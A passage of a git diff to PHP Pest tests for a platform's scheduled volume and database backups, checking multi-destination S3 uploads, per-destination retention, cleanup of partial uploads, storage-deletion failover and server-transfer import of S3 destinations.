str_contains($process->command, 'mc pipe')); + Process::assertRan(fn ($process) => str_contains($process->command, 'tar -I') && str_contains($process->command, ' > ')); + Process::assertRan(fn ($process) => str_contains($process->command, 'mc cp') && str_contains($process->command, 'temporary/first-bucket/')); + Process::assertRan(fn ($process) => str_contains($process->command, 'mc cp') && str_contains($process->command, 'temporary/second-bucket/')); + Process::assertRan(fn ($process) => preg_match("/rm -f '[^']+\\.tar\\.gz'/", $process->command) === 1); + expect($execution->status)->toBe('success') + ->and($execution->s3_storage_id)->toBe($first->id) + ->and($execution->s3_uploaded)->toBeTrue() + ->and($execution->local_storage_deleted)->toBeTrue() + ->and($execution->s3Replicas()->orderBy('s3_storage_id')->get()->map->only(['s3_storage_id', 's3_uploaded'])->all())->toBe([ + ['s3_storage_id' => $first->id, 's3_uploaded' => true], + ['s3_storage_id' => $second->id, 's3_uploaded' => true], + ]); +}); + +it('keeps the local archive and cleans the partial upload when one destination fails', function () { + [$backup, $first, $second] = createMultiDestinationVolumeBackup(['disable_local_backup' => true]); + fakeMultiDestinationS3Disks(); + Process::fake([ + '*du -b*' => '128', + '*temporary/second-bucket/*' => Process::result(errorOutput: 'access denied', exitCode: 1), + '*' => '', + ]); + + (new VolumeBackupJob($backup))->handle(); + + $execution = ScheduledVolumeBackupExecution::query()->sole(); + $firstReplica = $execution->s3Replicas()->where('s3_storage_id', $first->id)->sole(); + $secondReplica = $execution->s3Replicas()->where('s3_storage_id', $second->id)->sole(); + Process::assertNotRan(fn ($process) => preg_match("/rm -f '[^']+\\.tar\\.gz'/", $process->command) === 1); + expect($execution->status)->toBe('success') + ->and($execution->message)->toContain('S3 upload failed: second storage:') + ->and($execution->s3_uploaded)->toBeFalse() + ->and($execution->s3_cleanup_pending)->toBeFalse() + ->and($execution->local_storage_deleted)->toBeFalse() + ->and($firstReplica->s3_uploaded)->toBeTrue() + ->and($firstReplica->s3_storage_deleted)->toBeFalse() + ->and($secondReplica->s3_uploaded)->toBeFalse() + ->and($secondReplica->s3_storage_deleted)->toBeTrue() + ->and($secondReplica->message)->not->toBeEmpty(); +}); + +it('applies S3 retention to each destination separately', function () { + [$backup, $first, $second, $server] = createMultiDestinationVolumeBackup([ + 'retention_amount_locally' => 0, + 'retention_days_locally' => 0, + 'retention_max_storage_locally' => 0, + 'retention_amount_s3' => 1, + 'retention_days_s3' => 0, + 'retention_max_storage_s3' => 0, + ]); + $createExecution = function (string $name, int $daysAgo, array $uploadedTo) use ($backup, $first, $second): ScheduledVolumeBackupExecution { + $execution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 's3_storage_id' => $first->id, + 'status' => 'success', + 'filename' => "/data/coolify/backups/volumes/test/{$name}.tar.gz", + 'local_storage_deleted' => true, + 'created_at' => now()->subDays($daysAgo), + ]); + foreach ([$first, $second] as $storage) { + $execution->s3Replicas()->create([ + 's3_storage_id' => $storage->id, + 's3_uploaded' => in_array($storage->id, $uploadedTo, true), + ]); + } + $execution->refreshS3Summary(); + + return $execution; + }; + $oldest = $createExecution('oldest', 3, [$first->id]); + $older = $createExecution('older', 2, [$first->id, $second->id]); + $latest = $createExecution('latest', 1, [$first->id]); + $disk = Mockery::mock(); + $disk->shouldReceive('delete') + ->once() + ->with(['/data/coolify/backups/volumes/test/older.tar.gz', '/data/coolify/backups/volumes/test/oldest.tar.gz']) + ->andReturnTrue(); + Storage::shouldReceive('build') + ->once() + ->with(Mockery::on(fn (array $config): bool => $config['key'] === 'first-key')) + ->andReturn($disk); + $job = new VolumeBackupJob($backup); + + (new ReflectionClass($job))->getMethod('removeExpiredBackups')->invoke($job, $server); + + expect($oldest->fresh())->toBeNull() + ->and($older->fresh())->not->toBeNull() + ->and($older->s3Replicas()->where('s3_storage_id', $first->id)->sole()->s3_storage_deleted)->toBeTrue() + ->and($older->s3Replicas()->where('s3_storage_id', $second->id)->sole()->s3_storage_deleted)->toBeFalse() + ->and($older->fresh()->s3_storage_deleted)->toBeFalse() + ->and($latest->s3Replicas()->where('s3_storage_id', $first->id)->sole()->s3_storage_deleted)->toBeFalse(); +}); + +it('continues retention and execution cleanup when a replica storage is missing', function () { + $this->freezeTime(); + [$backup, , $second, $server] = createMultiDestinationVolumeBackup([ + 'retention_amount_locally' => 0, + 'retention_days_locally' => 0, + 'retention_max_storage_locally' => 0, + 'retention_amount_s3' => 0, + 'retention_days_s3' => 7, + 'retention_max_storage_s3' => 0, + ]); + $executions = collect([false, true])->map(function (bool $localDeleted) use ($backup, $second): ScheduledVolumeBackupExecution { + $execution = $backup->executions()->create([ + 'status' => 'success', + 'filename' => '/data/coolify/backups/volumes/test/'.($localDeleted ? 'deleted' : 'local').'.tar.gz', + 'local_storage_deleted' => $localDeleted, + ]); + $execution->forceFill(['created_at' => now()->subDays(10)])->save(); + $execution->s3Replicas()->create(['s3_storage_id' => null, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => true]); + $execution->refreshS3Summary(); + + return $execution; + }); + $disk = Mockery::mock(); + $disk->shouldReceive('delete')->once()->with(Mockery::on( + fn (array $filenames): bool => count($filenames) === 2 + && in_array($executions[0]->filename, $filenames, true) + && in_array($executions[1]->filename, $filenames, true), + ))->andReturnTrue(); + Storage::shouldReceive('build')->once() + ->with(Mockery::on(fn (array $config): bool => $config['key'] === 'second-key')) + ->andReturn($disk); + $job = new VolumeBackupJob($backup); + + (new ReflectionClass($job))->getMethod('removeExpiredBackups')->invoke($job, $server); + + expect($executions[0]->fresh()->s3_storage_deleted)->toBeTrue() + ->and($executions[0]->s3Replicas()->where('s3_storage_deleted', false)->count())->toBe(0); + $this->assertModelMissing($executions[1]); +}); + +it('cleans an interrupted upload from every destination whose copy did not finish', function () { + [$backup, $first, $second] = createMultiDestinationVolumeBackup(); + $execution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 's3_storage_id' => $first->id, + 'status' => 'failed', + 'filename' => '/data/coolify/backups/volumes/test/interrupted.tar.gz', + 's3_cleanup_pending' => true, + ]); + $uploaded = $execution->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $interrupted = $execution->s3Replicas()->create(['s3_storage_id' => $second->id]); + $withoutStorage = $execution->s3Replicas()->create(['s3_storage_id' => null, 's3_uploaded' => false]); + $disk = Mockery::mock(); + $disk->shouldReceive('delete')->once()->with(['/data/coolify/backups/volumes/test/interrupted.tar.gz'])->andReturnTrue(); + Storage::shouldReceive('build') + ->once() + ->with(Mockery::on(fn (array $config): bool => $config['key'] === 'second-key')) + ->andReturn($disk); + + VolumeBackupRecoveryJob::cleanupS3Upload($execution); + + expect($execution->fresh()->s3_cleanup_pending)->toBeFalse() + ->and($uploaded->fresh()->s3_storage_deleted)->toBeFalse() + ->and($interrupted->fresh()->s3_storage_deleted)->toBeTrue() + ->and($withoutStorage->fresh()->s3_storage_deleted)->toBeTrue(); +}); + +it('keeps the cleanup pending when one destination cannot delete the partial upload', function () { + [$backup, $first, $second] = createMultiDestinationVolumeBackup(); + $execution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 's3_storage_id' => $first->id, + 'status' => 'failed', + 'filename' => '/data/coolify/backups/volumes/test/interrupted.tar.gz', + 's3_cleanup_pending' => true, + ]); + $failing = $execution->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => false]); + $cleaned = $execution->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => false]); + $failingDisk = Mockery::mock(); + $failingDisk->shouldReceive('delete')->once()->andReturnFalse(); + $cleanedDisk = Mockery::mock(); + $cleanedDisk->shouldReceive('delete')->once()->andReturnTrue(); + Storage::shouldReceive('build')->with(Mockery::on(fn (array $config): bool => $config['key'] === 'first-key'))->andReturn($failingDisk); + Storage::shouldReceive('build')->with(Mockery::on(fn (array $config): bool => $config['key'] === 'second-key'))->andReturn($cleanedDisk); + + expect(fn () => VolumeBackupRecoveryJob::cleanupS3Upload($execution))->toThrow(RuntimeException::class); + + expect($execution->fresh()->s3_cleanup_pending)->toBeTrue() + ->and($failing->fresh()->s3_storage_deleted)->toBeFalse() + ->and($cleaned->fresh()->s3_storage_deleted)->toBeTrue(); +}); + +it('moves the primary destination to a remaining storage when the primary storage is deleted', function () { + [$backup, $first, $second] = createMultiDestinationVolumeBackup(); + $execution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 's3_storage_id' => $first->id, + 'status' => 'success', + 'filename' => '/data/coolify/backups/volumes/test/archive.tar.gz', + ]); + $execution->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => true]); + $execution->refreshS3Summary(); + + expect($backup->s3_storage_id)->toBe($first->id); + + $first->delete(); + + $backup->refresh(); + expect($backup->save_s3)->toBeTrue() + ->and($backup->s3_storage_id)->toBe($second->id) + ->and($backup->s3Storages()->pluck('s3_storages.id')->all())->toBe([$second->id]) + ->and($execution->fresh()->s3_storage_deleted)->toBeFalse() + ->and($execution->hasLiveS3Copies())->toBeTrue(); +}); + +it('preserves the schedule and uploaded replica when its S3 storage is unavailable', function () { + [$backup] = createMultiDestinationVolumeBackup(); + $execution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 'status' => 'success', + 'filename' => '/data/coolify/backups/volumes/test/archive.tar.gz', + 'local_storage_deleted' => true, + ]); + $replica = $execution->s3Replicas()->create([ + 's3_storage_id' => null, + 's3_uploaded' => true, + 's3_storage_deleted' => false, + ]); + $execution->refreshS3Summary(); + + expect(fn () => (new DeleteScheduledVolumeBackup)->handle($backup, deleteLocalArchives: false)) + ->toThrow(RuntimeException::class, 'The S3 storage used by an existing backup is unavailable.'); + + expect($backup->fresh())->not->toBeNull(); + expect($replica->fresh()->s3_storage_deleted)->toBeFalse(); + expect($execution->fresh()->s3_storage_deleted)->toBeFalse(); + expect($execution->hasLiveS3Copies())->toBeTrue(); +}); + +it('rolls back all backup detachment changes when an execution update fails', function () { + [$backup, $storage] = createMultiDestinationVolumeBackup(); + $backup->syncS3Storages([$storage->id]); + $databaseBackup = ScheduledDatabaseBackup::create([ + 'frequency' => 'daily', + 'save_s3' => true, + 'database_type' => 'App\\Models\\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $storage->team_id, + ]); + $databaseBackup->syncS3Storages([$storage->id]); + $databaseExecution = $databaseBackup->executions()->create([ + 'uuid' => 'rollback-database', + 'database_name' => 'app', + 'status' => 'success', + 's3_uploaded' => true, + ]); + $databaseReplica = $databaseExecution->s3Replicas()->create([ + 's3_storage_id' => $storage->id, + 's3_uploaded' => true, + ]); + $execution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 's3_storage_id' => $storage->id, + 'status' => 'failed', + 's3_cleanup_pending' => true, + ]); + $replica = $execution->s3Replicas()->create([ + 's3_storage_id' => $storage->id, + 's3_uploaded' => false, + ]); + Event::listen('eloquent.updating: '.ScheduledVolumeBackupExecution::class, function (): void { + throw new RuntimeException('Execution update failed'); + }); + + expect(fn () => $storage->delete())->toThrow(RuntimeException::class, 'Execution update failed'); + + $this->assertModelExists($storage); + foreach ([$databaseBackup, $backup] as $schedule) { + expect($schedule->fresh()->s3_storage_id)->toBe($storage->id) + ->and((bool) $schedule->fresh()->save_s3)->toBeTrue() + ->and($schedule->s3Storages()->pluck('s3_storages.id')->all())->toBe([$storage->id]); + } + expect($databaseReplica->fresh()->s3_storage_deleted)->toBeFalse() + ->and($databaseExecution->fresh()->s3_storage_deleted)->toBeFalse() + ->and($replica->fresh()->s3_storage_deleted)->toBeFalse() + ->and($execution->fresh()->s3_cleanup_pending)->toBeTrue(); +}); diff --git a/tests/Feature/VolumeBackupRecoveryBoundsTest.php b/tests/Feature/VolumeBackupRecoveryBoundsTest.php index ff3ed2d031..08d90ab774 100644 --- a/tests/Feature/VolumeBackupRecoveryBoundsTest.php +++ b/tests/Feature/VolumeBackupRecoveryBoundsTest.php @@ -93,7 +93,7 @@ function createRecoveryBoundsBackup(Team $team, array $backupAttributes = []): a function createRecoveryBoundsExecution(ScheduledVolumeBackup $backup, array $attributes = []): ScheduledVolumeBackupExecution { - return ScheduledVolumeBackupExecution::create([ + $execution = ScheduledVolumeBackupExecution::create([ 'scheduled_volume_backup_id' => $backup->id, 's3_storage_id' => $backup->s3_storage_id, 'status' => 'failed', @@ -101,6 +101,9 @@ function createRecoveryBoundsExecution(ScheduledVolumeBackup $backup, array $att 's3_cleanup_pending' => true, ...$attributes, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $backup->s3_storage_id]); + + return $execution; } function failRecoveryBoundsS3Delete(string $awsCode): void @@ -164,7 +167,7 @@ it('records a categorized S3 cleanup failure without throwing or leaking the S3 $execution->refresh(); expect($execution->s3_cleanup_pending)->toBeTrue() - ->and($execution->s3_storage_deleted)->toBeFalse() + ->and($execution->s3Replicas()->sole()->s3_storage_deleted)->toBeFalse() ->and($execution->recovery_error)->toBe('s3_auth') ->and($execution->recovery_last_attempt_at->equalTo(now()))->toBeTrue() ->and($execution->recovery_needs_attention)->toBeTrue() @@ -261,7 +264,7 @@ it('cleans the S3 upload even when container recovery fails', function () { $execution->refresh(); expect($execution->stop_recovery_pending)->toBeTrue() ->and($execution->s3_cleanup_pending)->toBeFalse() - ->and($execution->s3_storage_deleted)->toBeTrue() + ->and($execution->s3Replicas()->sole()->s3_storage_deleted)->toBeTrue() ->and($execution->recovery_error)->toBe('server_unreachable') ->and($execution->recovery_needs_attention)->toBeFalse(); Notification::assertNothingSent(); @@ -281,7 +284,7 @@ it('resets the recovery state after a successful attempt', function () { $execution->refresh(); expect($execution->s3_cleanup_pending)->toBeFalse() - ->and($execution->s3_storage_deleted)->toBeTrue() + ->and($execution->s3Replicas()->sole()->s3_storage_deleted)->toBeTrue() ->and($execution->recovery_error)->toBeNull() ->and($execution->recovery_last_attempt_at)->toBeNull() ->and($execution->recovery_needs_attention)->toBeFalse(); diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.php index d247a7a4e6..66eadf98ca 100644 --- a/tests/Feature/VolumeBackupTest.php +++ b/tests/Feature/VolumeBackupTest.php @@ -867,6 +867,7 @@ it('deletes an individual S3 archive from the storage recorded on its execution' 'local_storage_deleted' => true, 's3_uploaded' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $originalStorage->id, 's3_uploaded' => true]); $disk = Mockery::mock(); $disk->shouldReceive('delete') ->once() @@ -981,7 +982,7 @@ it('persists S3 settings the first time when a volume backup schedule does not e 'resource' => $application, 'section' => 's3', ]) - ->assertSet('s3StorageId', $s3Storage->id) + ->assertSet('s3StorageIds', [$s3Storage->id]) ->call('toggleS3') ->assertSet('saveToS3', true) ->assertDispatched('success'); @@ -1013,7 +1014,7 @@ it('persists the selected S3 storage when a volume backup schedule does not exis 'resource' => $application, 'section' => 's3', ]) - ->set('s3StorageId', $s3Storage->id) + ->set('s3StorageIds', [$s3Storage->id]) ->assertDispatched('success'); $backup = ScheduledVolumeBackup::query()->sole(); @@ -1136,7 +1137,7 @@ it('does not change S3 storage when another volume backup setting is invalid', f 'section' => 's3', ]) ->set('frequency', 'not a valid schedule') - ->set('s3StorageId', $secondS3Storage->id) + ->set('s3StorageIds', [$secondS3Storage->id]) ->assertHasErrors('frequency') ->assertNotDispatched('success'); @@ -1254,18 +1255,18 @@ it('lists and accepts only S3 storages of the resource team when the session tea $component = Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application]); expect($component->get('availableS3Storages')->pluck('id')->all())->toBe([$resourceTeamStorage->id]) - ->and($component->get('s3StorageId'))->toBe($resourceTeamStorage->id); + ->and($component->get('s3StorageIds'))->toBe([$resourceTeamStorage->id]); $component->set('frequency', 'daily') ->set('saveToS3', true) - ->set('s3StorageId', $otherTeamStorage->id) - ->assertHasErrors('s3StorageId') + ->set('s3StorageIds', [$otherTeamStorage->id]) + ->assertHasErrors('s3StorageIds') ->call('save') - ->assertHasErrors('s3StorageId'); + ->assertHasErrors('s3StorageIds'); expect(ScheduledVolumeBackup::query()->count())->toBe(0); - $component->set('s3StorageId', $resourceTeamStorage->id) + $component->set('s3StorageIds', [$resourceTeamStorage->id]) ->call('save') ->assertHasNoErrors(); @@ -1295,9 +1296,9 @@ it('only accepts a usable S3 storage owned by the current team', function () { Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application]) ->set('frequency', 'daily') ->set('saveToS3', true) - ->set('s3StorageId', $foreignStorage->id) + ->set('s3StorageIds', [$foreignStorage->id]) ->call('save') - ->assertHasErrors('s3StorageId'); + ->assertHasErrors('s3StorageIds'); expect(ScheduledVolumeBackup::query()->count())->toBe(0); }); @@ -1322,7 +1323,7 @@ it('saves the database-style S3 backup controls immediately', function () { ]); $component = Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application]) - ->assertSet('s3StorageId', $s3Storage->id) + ->assertSet('s3StorageIds', [$s3Storage->id]) ->set('saveToS3', true) ->call('instantSave') ->set('disableLocalBackup', true) @@ -1378,7 +1379,7 @@ it('saves the selected volume backup S3 storage immediately while S3 is disabled ]); Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application, 'section' => 's3']) - ->set('s3StorageId', $secondS3Storage->id) + ->set('s3StorageIds', [$secondS3Storage->id]) ->assertDispatched('success'); $backup = ScheduledVolumeBackup::query()->sole(); @@ -1486,6 +1487,7 @@ it('disables S3 volume backups when the storage is deleted', function () { 's3_uploaded' => true, 's3_cleanup_pending' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $s3Storage->id, 's3_uploaded' => true]); $s3Storage->delete(); @@ -1530,6 +1532,7 @@ it('marks historical executions deleted when their recorded S3 storage is remove 's3_uploaded' => true, 's3_cleanup_pending' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $originalStorage->id, 's3_uploaded' => true]); $originalStorage->delete(); @@ -1704,7 +1707,7 @@ it('deletes S3 archives from the storage recorded on each execution', function ( 'frequency' => 'daily', 'save_s3' => true, ]); - ScheduledVolumeBackupExecution::create([ + $execution = ScheduledVolumeBackupExecution::create([ 'scheduled_volume_backup_id' => $backup->id, 's3_storage_id' => $originalStorage->id, 'status' => 'success', @@ -1712,6 +1715,7 @@ it('deletes S3 archives from the storage recorded on each execution', function ( 'local_storage_deleted' => true, 's3_uploaded' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $originalStorage->id, 's3_uploaded' => true]); $disk = Mockery::mock(); $disk->shouldReceive('delete') ->once() @@ -1977,7 +1981,8 @@ it('keeps the upload destination on the volume backup execution', function () { $execution = ScheduledVolumeBackupExecution::query()->sole(); expect($execution->s3_storage_id)->toBe($s3Storage->id) - ->and($execution->s3->is($s3Storage))->toBeTrue(); + ->and($execution->s3->is($s3Storage))->toBeTrue() + ->and($execution->s3Replicas()->sole()->s3_storage_id)->toBe($s3Storage->id); }); it('streams S3-only volume backups without creating or copying a local archive', function () { @@ -2032,6 +2037,7 @@ it('streams S3-only volume backups without creating or copying a local archive', expect($execution->status)->toBe('success') ->and($execution->size)->toBe(128) ->and($execution->s3_uploaded)->toBeTrue() + ->and($execution->s3Replicas()->sole()->s3_uploaded)->toBeTrue() ->and($execution->local_storage_deleted)->toBeTrue(); }); @@ -2240,15 +2246,26 @@ it('removes retained S3 archives from the storage recorded on each execution', f 'status' => 'success', 'filename' => '/data/coolify/backups/volumes/test/old.tar.gz', 's3_uploaded' => true, + 'created_at' => now()->subDays(2), + ]); + $oldExecution->s3Replicas()->create(['s3_storage_id' => $originalStorage->id, 's3_uploaded' => true]); + $retainedOriginalExecution = ScheduledVolumeBackupExecution::create([ + 'scheduled_volume_backup_id' => $backup->id, + 's3_storage_id' => $originalStorage->id, + 'status' => 'success', + 'filename' => '/data/coolify/backups/volumes/test/retained-original.tar.gz', + 's3_uploaded' => true, 'created_at' => now()->subDay(), ]); - ScheduledVolumeBackupExecution::create([ + $retainedOriginalExecution->s3Replicas()->create(['s3_storage_id' => $originalStorage->id, 's3_uploaded' => true]); + $newExecution = ScheduledVolumeBackupExecution::create([ 'scheduled_volume_backup_id' => $backup->id, 's3_storage_id' => $newStorage->id, 'status' => 'success', 'filename' => '/data/coolify/backups/volumes/test/new.tar.gz', 's3_uploaded' => true, ]); + $newExecution->s3Replicas()->create(['s3_storage_id' => $newStorage->id, 's3_uploaded' => true]); $disk = Mockery::mock(); $disk->shouldReceive('delete')->once()->with(['/data/coolify/backups/volumes/test/old.tar.gz'])->andReturnTrue(); Storage::shouldReceive('build') @@ -2260,7 +2277,10 @@ it('removes retained S3 archives from the storage recorded on each execution', f $method->invoke($job, $server); - expect($oldExecution->fresh()->s3_storage_deleted)->toBeTrue(); + expect($oldExecution->fresh()->s3_storage_deleted)->toBeTrue() + ->and($oldExecution->s3Replicas()->sole()->s3_storage_deleted)->toBeTrue() + ->and($retainedOriginalExecution->fresh()->s3_storage_deleted)->toBeFalse() + ->and($newExecution->fresh()->s3_storage_deleted)->toBeFalse(); }); it('does not query execution history when local retention is unlimited', function () { @@ -2514,6 +2534,7 @@ it('cleans an interrupted S3 upload and coordinates recovery with the backup loc 'filename' => '/data/coolify/backups/volumes/test/interrupted.tar.gz', 's3_cleanup_pending' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $s3Storage->id]); $disk = Mockery::mock(); $disk->shouldReceive('delete')->once()->andReturnTrue(); Storage::shouldReceive('build')->once()->andReturn($disk); @@ -2523,7 +2544,7 @@ it('cleans an interrupted S3 upload and coordinates recovery with the backup loc $job->handle(); expect($execution->fresh()->s3_cleanup_pending)->toBeFalse() - ->and($execution->fresh()->s3_storage_deleted)->toBeTrue(); + ->and($execution->s3Replicas()->sole()->s3_storage_deleted)->toBeTrue(); }); it('cleans an interrupted upload from the execution S3 storage after a schedule switch', function () { @@ -2562,6 +2583,7 @@ it('cleans an interrupted upload from the execution S3 storage after a schedule 'filename' => '/data/coolify/backups/volumes/test/interrupted.tar.gz', 's3_cleanup_pending' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $originalStorage->id]); $disk = Mockery::mock(); $disk->shouldReceive('delete')->once()->andReturnTrue(); Storage::shouldReceive('build') @@ -2572,7 +2594,7 @@ it('cleans an interrupted upload from the execution S3 storage after a schedule VolumeBackupRecoveryJob::cleanupS3Upload($execution); expect($execution->fresh()->s3_cleanup_pending)->toBeFalse() - ->and($execution->fresh()->s3_storage_deleted)->toBeTrue(); + ->and($execution->s3Replicas()->sole()->s3_storage_deleted)->toBeTrue(); }); it('keeps the S3 key tracked when interrupted upload cleanup must be retried', function () { @@ -2603,6 +2625,7 @@ it('keeps the S3 key tracked when interrupted upload cleanup must be retried', f 'filename' => '/data/coolify/backups/volumes/test/interrupted.tar.gz', 's3_cleanup_pending' => true, ]); + $execution->s3Replicas()->create(['s3_storage_id' => $s3Storage->id]); $disk = Mockery::mock(); $disk->shouldReceive('delete')->once()->andReturnFalse(); Storage::shouldReceive('build')->once()->andReturn($disk); diff --git a/tests/Unit/ServerTransfer/ServerTransferS3DestinationsTest.php b/tests/Unit/ServerTransfer/ServerTransferS3DestinationsTest.php new file mode 100644 index 0000000000..479367ee70 --- /dev/null +++ b/tests/Unit/ServerTransfer/ServerTransferS3DestinationsTest.php @@ -0,0 +1,144 @@ + 0, 'is_api_enabled' => true, 'fqdn' => 'https://coolify-a.test']); + + $this->team = Team::factory()->create(); + $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $privateKey->id, + 'ip' => '10.56.0.10', + ]); + $destination = StandaloneDocker::where('server_id', $this->server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = $project->environments()->first() + ?? Environment::factory()->create(['project_id' => $project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $volume = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/app/data', + 'resource_type' => $this->application->getMorphClass(), + 'resource_id' => $this->application->id, + ]); + + StandalonePostgresql::withoutEvents(function () use ($environment, $destination) { + $database = new StandalonePostgresql; + $database->forceFill([ + 'name' => 'app-db', + 'postgres_user' => 'postgres', + 'postgres_password' => 'secret', + 'postgres_db' => 'app', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $database->uuid = new_public_id(); + $database->save(); + $this->database = $database; + }); + + $this->firstS3 = S3Storage::create([ + 'name' => 'first', 'region' => 'us-east-1', 'key' => 'k1', 'secret' => 's1', + 'bucket' => 'first-bucket', 'endpoint' => 'https://first.example.com', 'team_id' => $this->team->id, + ]); + $this->secondS3 = S3Storage::create([ + 'name' => 'second', 'region' => 'us-east-1', 'key' => 'k2', 'secret' => 's2', + 'bucket' => 'second-bucket', 'endpoint' => 'https://second.example.com', 'team_id' => $this->team->id, + ]); + + $this->databaseBackup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->team->id, + 'save_s3' => true, + 'frequency' => '0 2 * * *', + 's3_storage_id' => $this->secondS3->id, + 'database_type' => $this->database->getMorphClass(), + 'database_id' => $this->database->id, + ]); + $this->databaseBackup->syncS3Storages([$this->firstS3->id, $this->secondS3->id]); + + $this->volumeBackup = $volume->scheduledBackups()->create([ + 'team_id' => $this->team->id, + 'save_s3' => true, + 'frequency' => '0 3 * * *', + 's3_storage_id' => $this->secondS3->id, + ]); + $this->volumeBackup->syncS3Storages([$this->firstS3->id, $this->secondS3->id]); +}); + +/** + * @return list Buckets of the backup's destinations, primary first. + */ +function transferredBackupBuckets(ScheduledDatabaseBackup|ScheduledVolumeBackup $backup): array +{ + return $backup->selectedS3Storages()->pluck('bucket')->all(); +} + +function importTransferBundleIntoNewTeam(array $bundle, $context): Team +{ + $targetTeam = Team::factory()->create(); + $context->application->forceDelete(); + $context->database->forceDelete(); + $context->server->forceDelete(); + + app(ServerTransferImporter::class)->import($bundle, teamId: $targetTeam->id); + + return $targetTeam; +} + +test('transfer keeps every S3 destination of database and volume backups', function () { + $bundle = app(ServerTransferExporter::class)->export($this->server); + + expect(collect($bundle['s3_storages'])->pluck('uuid')->sort()->values()->all()) + ->toEqual(collect([$this->firstS3->uuid, $this->secondS3->uuid])->sort()->values()->all()); + + $targetTeam = importTransferBundleIntoNewTeam($bundle, $this); + + $databaseBackup = ScheduledDatabaseBackup::where('team_id', $targetTeam->id)->sole(); + $volumeBackup = ScheduledVolumeBackup::where('team_id', $targetTeam->id)->sole(); + + expect(transferredBackupBuckets($databaseBackup))->toBe(['second-bucket', 'first-bucket']) + ->and($databaseBackup->save_s3)->toBeTruthy() + ->and($databaseBackup->s3->team_id)->toBe($targetTeam->id) + ->and(transferredBackupBuckets($volumeBackup))->toBe(['second-bucket', 'first-bucket']) + ->and($volumeBackup->save_s3)->toBeTrue() + ->and($volumeBackup->s3->team_id)->toBe($targetTeam->id); +}); + +test('transfer imports bundles that only have the primary S3 destination', function () { + $bundle = app(ServerTransferExporter::class)->export($this->server); + data_forget($bundle, 'projects.*.environments.*.databases.*.scheduled_backups.*.s3_storage_uuids'); + data_forget($bundle, 'volume_backups.*.s3_storage_uuids'); + expect(data_get($bundle, 'volume_backups.0'))->not->toHaveKey('s3_storage_uuids'); + + $targetTeam = importTransferBundleIntoNewTeam($bundle, $this); + + expect(transferredBackupBuckets(ScheduledDatabaseBackup::where('team_id', $targetTeam->id)->sole()))->toBe(['second-bucket']) + ->and(transferredBackupBuckets(ScheduledVolumeBackup::where('team_id', $targetTeam->id)->sole()))->toBe(['second-bucket']); +});